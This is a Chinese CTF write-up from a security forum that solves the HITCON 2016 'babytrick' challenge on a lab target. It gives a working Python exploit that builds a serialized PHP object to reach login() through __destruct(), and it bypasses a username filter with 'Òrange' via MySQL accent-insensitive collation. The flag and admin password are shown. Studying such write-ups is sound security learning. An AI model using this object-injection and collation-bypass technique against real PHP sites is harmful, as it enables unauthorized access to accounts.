首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
WEB安全
发新帖
0
0
[原创]hitcon-2016-babytrick 解题报告
发表于: 2026-7-24 22:07
3471
[原创]hitcon-2016-babytrick 解题报告
mb_dcvvjyqc
2026-7-24 22:07
3471
**1.题目概述** 目标地址: ``` http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/ ``` 题目是 HITCON 2016 babytrick 的复现靶场,核心考点: ``` PHP 反序列化控制对象属性 __destruct() 自动调用 MySQL UTF-8 排序规则字符等价 PHP 字符串检测与 MySQL 字符比较差异 ``` 最终 flag: ``` flag{443a0802-d43d-459e-a419-130b9a80f93b} ``` **2.访问源码** 首页直接高亮源码: ``` curl "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/" ``` 关键入口: ``` if(isset($_GET["data"])) { @unserialize($_GET["data"]); } else { new HITCON("source", array()); } ``` 也就是说,data 参数会被直接反序列化。 **3.HITCON 类逻辑分析** 类里有 3 个 private 属性: ``` private $method; private $args; private $conn; ``` 析构函数: ``` function __destruct() { $this->__conn(); if (in_array($this->method, array("show", "login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->__die("What do you do?"); } $this->__close(); } ``` 利用思路: 构造一个 HITCON 对象,让: ``` method = login args[0] = 用户名 args[1] = 密码 conn = NULL ``` 对象生命周期结束时会自动触发 __destruct(),进而调用: ``` $this->login($args[0], $args[1]); ``` **4.private 属性序列化格式** PHP 序列化 private 属性时,属性名不是普通字符串,而是: ``` \x00类名\x00属性名 ``` 所以: ``` private $method; ``` 序列化属性名应为: ``` \x00HITCON\x00method ``` 完整字段写法: ``` s:14:"\x00HITCON\x00method"; ``` 长度为什么是 14? ``` \x00 1 byte HITCON 6 bytes \x00 1 byte method 6 bytes ------------------ total 14 bytes ``` 同理: ``` \x00HITCON\x00args -> 12 bytes \x00HITCON\x00conn -> 12 bytes ``` **5.初始化数据库** 题目原始配置中 DEBUG 开关为: ``` $DEBUG = @$_GET['noggnogg']; ``` 当带上: ``` ?noggnogg=1 ``` 会执行建表和插入测试数据: ``` INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user') ``` 初始化命令: ``` curl "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/?noggnogg=1" ``` **6.写一个序列化构造器** 保存为: ``` solve_babytrick_min.py ``` 内容: ``` import urllib.parse import urllib.request TARGET = "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/" Z = b"\x00" def ser_str(x): b = x if isinstance(x, bytes) else str(x).encode("utf-8") return b's:%d:"%s";' % (len(b), b) def ser_arr(args): out = b'a:%d:{' % len(args) for i, arg in enumerate(args): out += b'i:%d;' % i out += ser_str(arg) out += b'}' return out def hitcon(method, args): method_b = method.encode() payload = ( b'O:6:"HITCON":3:{' b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) + b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) + b's:12:"' + Z + b'HITCON' + Z + b'conn";N;' b'}' ) return payload def request(payload=None, extra_query=None): if payload is None: url = TARGET if extra_query: url += "?" + extra_query else: data = urllib.parse.quote_from_bytes(payload, safe="") if extra_query: url = TARGET + "?" + extra_query + "&data=" + data else: url = TARGET + "?data=" + data return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace") # 初始化数据库 request(extra_query="noggnogg=1") # 验证 show print(request(hitcon("show", ["phddaa"]))) print(request(hitcon("show", ["orange"]))) ``` 运行: ``` $env:PYTHONIOENCODING="utf-8" python solve_babytrick_min.py ``` 预期输出: ``` {"msg":"phddaa is user"} {"msg":"orange is admin"} ``` 说明数据库初始化成功。 **7.login 过滤逻辑** login() 里有关键过滤: ``` if ( $username == 'orange' || stripos($sql, 'orange') != false ) { $this->__die("Orange is so shy. He do not want to see you."); } ``` 直接登录: ``` username = orange password = babytrick1234 ``` 会被拦截。 因为 SQL 中一定包含: ``` username='orange' ``` 触发: ``` stripos($sql, 'orange') != false ``` **8.绕过思路:PHP 与 MySQL 字符比较差异** 使用: ``` Òrange ``` 替代: ``` orange ``` 原因: ``` PHP 层 PHP 的:stripos($sql, 'orange')不会把:Òrange识别成:orange 所以不会触发过滤。 MySQL 层 MySQL 的 UTF-8 默认排序规则通常是大小写不敏感、重音不敏感的比较规则。 ``` 所以: ``` username='Òrange' ``` 可以匹配数据库里的: ``` orange ``` 这就是本题的关键。 **9.验证字符等价** 添加测试代码: ``` for name in ["orange", "Òrange", "Órange", "Örange"]: print(name, request(hitcon("show", [name]))) ``` 运行结果中可以看到: ``` orange -> orange is admin Òrange -> orange is admin ``` 说明 Òrange 在 MySQL 查询中成功匹配了 orange。 **10. 获取密码** 原题公开配置中: ``` $db_pass = 'babytrick1234'; ``` 数据库初始化时插入: ``` ('orange', '$db_pass', 'admin') ``` 所以 admin 用户密码为: ``` babytrick1234 ``` **11.构造最终 payload** 登录参数: ``` method = login args[0] = Òrange args[1] = babytrick1234 conn = NULL ``` 未 URL 编码前的 payload 结构: ``` O:6:"HITCON":3:{ s:14:"\x00HITCON\x00method";s:5:"login"; s:12:"\x00HITCON\x00args";a:2:{ i:0;s:7:"Òrange"; i:1;s:13:"babytrick1234"; } s:12:"\x00HITCON\x00conn";N; } ``` 注意: ``` Òrange ``` UTF-8 字节长度是 7,不是 6。 **12.最终可复现脚本** ``` import urllib.parse import urllib.request TARGET = "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/" Z = b"\x00" def ser_str(x): b = x if isinstance(x, bytes) else str(x).encode("utf-8") return b's:%d:"%s";' % (len(b), b) def ser_arr(args): out = b'a:%d:{' % len(args) for i, arg in enumerate(args): out += b'i:%d;' % i out += ser_str(arg) out += b'}' return out def hitcon(method, args): method_b = method.encode() payload = ( b'O:6:"HITCON":3:{' b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) + b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) + b's:12:"' + Z + b'HITCON' + Z + b'conn";N;' b'}' ) return payload def request(payload=None, extra_query=None): if payload is None: url = TARGET if extra_query: url += "?" + extra_query else: data = urllib.parse.quote_from_bytes(payload, safe="") if extra_query: url = TARGET + "?" + extra_query + "&data=" + data else: url = TARGET + "?data=" + data return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace") # 1. 初始化数据库 request(extra_query="noggnogg=1") # 2. 验证普通用户 print("[show phddaa]") print(request(hitcon("show", ["phddaa"]))) # 3. 验证 admin 用户存在 print("[show orange]") print(request(hitcon("show", ["orange"]))) # 4. 使用 Òrange 绕过 PHP orange 检测 print("[show Òrange]") print(request(hitcon("show", ["Òrange"]))) # 5. 最终登录拿 flag print("[login]") print(request(hitcon("login", ["Òrange", "babytrick1234"]))) ``` 运行: ``` $env:PYTHONIOENCODING="utf-8" python solve_babytrick_min.py ``` 输出: ``` [show phddaa] {"msg":"phddaa is user"} [show orange] {"msg":"orange is admin"} [show Òrange] {"msg":"orange is admin"} [login] {"msg":"Hi, Orange! Here is your flag: flag{443a0802-d43d-459e-a419-130b9a80f93b}"} ``` **13.解题链总结** 完整链路: ``` 源码泄露 ↓ 发现 data 参数 unserialize() ↓ 构造 HITCON 对象 ↓ 控制 private 属性 method / args / conn ↓ 通过 __destruct() 调用 login() ↓ DEBUG 参数 noggnogg 初始化数据库 ↓ 确认 orange 是 admin ↓ 利用 Òrange 绕过 PHP stripos('orange') ↓ MySQL UTF-8 排序规则把 Òrange 匹配到 orange ↓ 使用 babytrick1234 登录 ↓ 获得 flag ``` 最终: ``` flag{443a0802-d43d-459e-a419-130b9a80f93b} ```
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
mb_dcvvjyqc
9
发帖
2
回帖
40
RANK
关注
私信
他的文章
[原创]KCTF 2026 第二题:巳时·绿光幽语
140
[原创]一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag
3232
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
1485
[原创]hitcon-2016-babytrick 解题报告
3471
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部